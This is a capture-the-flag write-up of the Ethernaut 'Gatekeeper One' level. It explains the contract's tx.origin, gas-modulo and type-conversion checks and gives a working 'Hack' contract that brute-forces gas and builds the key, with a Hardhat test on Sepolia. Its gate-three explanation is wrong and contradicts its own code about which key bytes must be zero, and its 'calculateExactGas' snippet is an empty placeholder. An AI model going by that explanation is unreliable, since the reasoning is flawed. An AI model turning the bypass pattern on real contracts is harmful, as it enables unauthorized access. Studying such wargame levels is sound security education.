Appearance
Exploiting the Gatekeeper One: A Deep Dive into Smart Contract Security Challenges
Introduction
The Gatekeeper One challenge from Ethernaut represents a classic smart contract security puzzle that tests a developer's understanding of Ethereum's execution environment, type conversions, and gas mechanics. Created by 0age, this level requires participants to bypass three distinct security gates to register as an entrant. This technical article will provide a comprehensive analysis of the challenge, breaking down each gate's requirements, exploring the underlying concepts, and demonstrating a practical solution.
Understanding the Challenge
The GatekeeperOne Contract
The GatekeeperOne contract presents a seemingly simple interface with a single public function enter() that must be called successfully to set the entrant variable to tx.origin. However, this function is protected by three modifiers that implement progressively complex security checks:
solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract GatekeeperOne {
address public entrant;
modifier gateOne() {
require(msg.sender != tx.origin);
_;
}
modifier gateTwo() {
require(gasleft() % 8191 == 0);
_;
}
modifier gateThree(bytes8 _gateKey) {
require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");
require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");
require(uint32(uint64(_gateKey)) == uint16(uint160(tx.origin)), "GatekeeperOne: invalid gateThree part three");
_;
}
function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant = tx.origin;
return true;
}
}
Each gate presents unique challenges that require different aspects of Ethereum knowledge to overcome.
Gate One Analysis: Contract vs. EOA Distinction
Understanding msg.sender and tx.origin
The first gate introduces a fundamental concept in Ethereum smart contract security: the distinction between msg.sender and tx.origin.
msg.sender: The immediate caller of the function (could be an Externally Owned Account or another contract)tx.origin: The original EOA (Externally Owned Account) that initiated the transaction chain
The requirement msg.sender != tx.origin ensures that the call must come from a contract intermediary rather than directly from an EOA. This is a common pattern used to prevent direct human interaction with certain functions.
Bypassing Gate One
To satisfy this requirement, we must create an intermediary contract that calls enter() on our behalf. This contract will have:
msg.sender= the contract's addresstx.origin= our EOA address
Thus, msg.sender != tx.origin will be true.
Gate Two Analysis: Gas Manipulation
Understanding gasleft()
The second gate introduces gas manipulation using Solidity's built-in gasleft() function, which returns the amount of gas remaining in the current execution context.
solidity
require(gasleft() % 8191 == 0);
This requirement states that the remaining gas when this check executes must be exactly divisible by 8191 (which is 2¹³ - 1).
The Gas Calculation Challenge
Gas calculation in Ethereum is complex because:
- Different EVM operations consume different amounts of gas
- Gas costs can vary between hard forks
- The exact gas consumption depends on the execution path
The challenge here is that we need to ensure that when gateTwo() executes, the gas remaining produces a specific modulo result. Since we cannot know the exact gas consumption before the check, we need to use a trial-and-error approach.
Strategic Approach to Gas Matching
The solution involves:
- Estimating the base gas consumption up to the
gateTwo()check - Adding a variable amount of gas when calling the function
- Using a loop to try different gas amounts until one satisfies the condition
The key insight is that we can specify the gas limit for our external call using Solidity's gas specification syntax:
solidity
target.enter{gas: 8191 * 20 + _gas}(key)
Here, 8191 * 20 provides a base amount, and _gas is a variable we can adjust between 0 and 8190 to find the right remainder.
Gate Three Analysis: Type Conversion Puzzles
Understanding Solidity Type Conversions
The third gate presents a series of type conversion challenges that test understanding of how Solidity handles data types and truncation:
solidity
require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");
require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");
require(uint32(uint64(_gateKey)) == uint16(uint160(tx.origin)), "GatekeeperOne: invalid gateThree part three");
Let's break down each requirement:
Requirement 1: Equality After Truncation
solidity
uint32(uint64(_gateKey)) == uint16(uint64(_gateKey))
This requires that when we:
- Convert
_gateKey(bytes8) to uint64 - Then convert to uint32 (truncates to last 4 bytes)
- Then convert to uint16 (truncates to last 2 bytes)
The uint32 and uint16 representations must be equal. This means the last 2 bytes of the uint32 representation must be zero (since uint16 only looks at the last 2 bytes).
Requirement 2: Inequality After Expansion
solidity
uint32(uint64(_gateKey)) != uint64(_gateKey)
The uint32 representation (last 4 bytes) must not equal the full uint64 representation. This means at least one of the first 4 bytes of the uint64 must be non-zero.
Requirement 3: Matching Origin Address
solidity
uint32(uint64(_gateKey)) == uint16(uint160(tx.origin))
The uint32 representation must equal the uint16 representation of tx.origin. Since we already know from requirement 1 that the last 2 bytes of uint32 are zero, this means:
- The uint16 of
tx.originmust be in the third and fourth bytes from the end - The last 2 bytes must be zero
Constructing the Key
Given these constraints, we can construct a key that satisfies all conditions:
Extract uint16 from
tx.origin:solidityuint16 k16 = uint16(uint160(tx.origin));Create a uint64 where:
- The last 2 bytes are 0x0000 (from requirement 1)
- The third and fourth bytes from the end contain
k16(from requirement 3) - The first 4 bytes are non-zero (from requirement 2)
solidityuint64 k64 = uint64(1 << 63) + uint64(k16);Here,
1 << 63sets the most significant bit of the uint64, ensuring the first 4 bytes are non-zero.Convert back to bytes8:
soliditybytes8 key = bytes8(k64);
Complete Solution Implementation
The Hack Contract
The complete solution involves creating an intermediary contract that:
- Acts as an intermediary to satisfy gate one
- Implements gas brute-forcing to satisfy gate two
- Constructs the correct key to satisfy gate three
solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IGatekeeperOne {
function entrant() external view returns (address);
function enter(bytes8) external returns (bool);
}
contract Hack {
IGatekeeperOne private immutable target;
event GasCatch(uint256 indexed _gas);
error NothingFound();
constructor(address _target) {
target = IGatekeeperOne(_target);
}
function goEnter(uint256 _gas) external {
uint16 k16 = uint16(uint160(tx.origin));
uint64 k64 = uint64(1 << 63) + uint64(k16);
bytes8 key = bytes8(k64);
require(_gas < 8191, "gas < 8191");
require(target.enter{gas: 8191 * 20 + _gas}(key), "Enter fail!");
}
function tryAndLoop() external {
for (uint256 i = 0; i < 8191; i++) {
try this.goEnter(i) {
emit GasCatch(i);
return;
} catch {}
}
revert NothingFound();
}
}
Key Components Explained
- Interface Definition: Creates a typed interface for the target contract
- Key Construction: Implements the logic described in the gate three analysis
- Gas Brute-Forcing: The
tryAndLoop()function tries all possible gas adjustments from 0 to 8190 - Error Handling: Uses try-catch to handle failed attempts gracefully
Testing the Solution
Hardhat Test Implementation
A comprehensive test ensures our solution works correctly:
typescript
import { ethers } from "hardhat";
import { expect } from "chai";
import { GatekeeperOne, Hack } from "../typechain-types";
describe("GatekeeperOne", function () {
describe("GatekeeperOne testnet online sepolia", function () {
it("testnet online sepolia GatekeeperOne", async function () {
const GATEKEEPERONE_ADDRESS = "0x...";
const GATEKEEPERONE_ABI = [
"function entrant() external view returns (address)",
"function enter(bytes8) external returns (bool)",
];
const challenger = await ethers.getNamedSigner("deployer");
const gatekeeperOneContract = new ethers.Contract(GATEKEEPERONE_ADDRESS, GATEKEEPERONE_ABI, challenger);
const HackFactory = await ethers.getContractFactory("Hack");
const hack = (await HackFactory.deploy(GATEKEEPERONE_ADDRESS)) as Hack;
await hack.waitForDeployment();
const SEPOLIA_GASCATCH = 256;
const tx = await hack.goEnter(SEPOLIA_GASCATCH);
await tx.wait();
const entrant = await gatekeeperOneContract.entrant();
expect(entrant).to.be.equals(challenger);
});
});
});
Test Execution Strategy
- Deployment: Deploy the Hack contract with the GatekeeperOne address
- Gas Optimization: The test uses a pre-determined gas value (
SEPOLIA_GASCATCH = 256) that was found to work on Sepolia testnet - Verification: After execution, verify that the
entrantis set to the challenger's address
Security Implications and Lessons Learned
Key Security Takeaways
Contract Intermediaries: The
msg.sender != tx.origincheck is not a robust security measure as it can be easily bypassed with a contract intermediary.Gas-Based Conditions: Gas calculations should never be used for access control, as they can be brute-forced with relatively low cost (maximum 8191 attempts in this case).
Type Conversion Assumptions: Complex type conversion requirements can often be reverse-engineered, especially when they involve predictable values like
tx.origin.Brute-Force Vulnerability: Any condition that can be satisfied through iteration creates a vulnerability, as blockchain state is public and attempts can be automated.
Real-World Applications
While this challenge is educational, similar patterns appear in real-world scenarios:
Access Control Bypasses: Understanding the
msg.sendervstx.origindistinction is crucial for proper access control implementation.Gas Optimization Attacks: Malicious actors can exploit gas calculations in contracts to cause unexpected behavior or DOS attacks.
Input Validation: Proper input validation must consider how data types interact and convert in Solidity.
Advanced Considerations
Gas Calculation Precision
For those interested in a more precise approach to gate two, we could calculate the exact gas consumption:
solidity
function calculateExactGas() public {
uint256 gasBefore = gasleft();
// Call the function with estimation
uint256 gasAfter = gasleft();
uint256 gasUsed = gasBefore - gasAfter;
// Calculate required additional gas
uint256 remainder = gasAfter % 8191;
uint256 neededGas = remainder == 0 ? 0 : 8191 - remainder;
}
Alternative Key Construction
The key construction can be optimized for different scenarios:
solidity
function constructKeyVariations(address origin) public pure returns (bytes8[] memory) {
uint16 origin16 = uint16(uint160(origin));
bytes8[] memory keys = new bytes8[](4);
// Different ways to set the high bits
keys[0] = bytes8(uint64(1 << 63) + uint64(origin16));
keys[1] = bytes8(uint64(1 << 62) + uint64(origin16));
keys[2] = bytes8(uint64(1 << 61) + uint64(origin16));
keys[3] = bytes8(uint64(1 << 60) + uint64(origin16));
return keys;
}
Conclusion
The Gatekeeper One challenge provides a comprehensive exercise in understanding multiple aspects of Ethereum smart contract development and security. By requiring participants to navigate three distinct gates—each testing different fundamental concepts—it reinforces critical knowledge about:
- Contract interaction patterns and the distinction between different callers
- Gas mechanics and their implications for contract execution
- Solidity type system and conversion behaviors
- Problem-solving approaches for reverse-engineering requirements
The solution demonstrates that even seemingly complex security measures can be bypassed through systematic analysis and understanding of the underlying platform. This challenge serves as an excellent reminder that security in smart contracts requires defense in depth, careful consideration of all possible attack vectors, and avoidance of conditions that can be satisfied through brute force or predictable patterns.
For developers, the key takeaway is to implement security measures that are robust against systematic analysis and automated attacks, while for auditors, it highlights the importance of looking beyond surface-level complexity to understand the fundamental vulnerabilities in contract logic.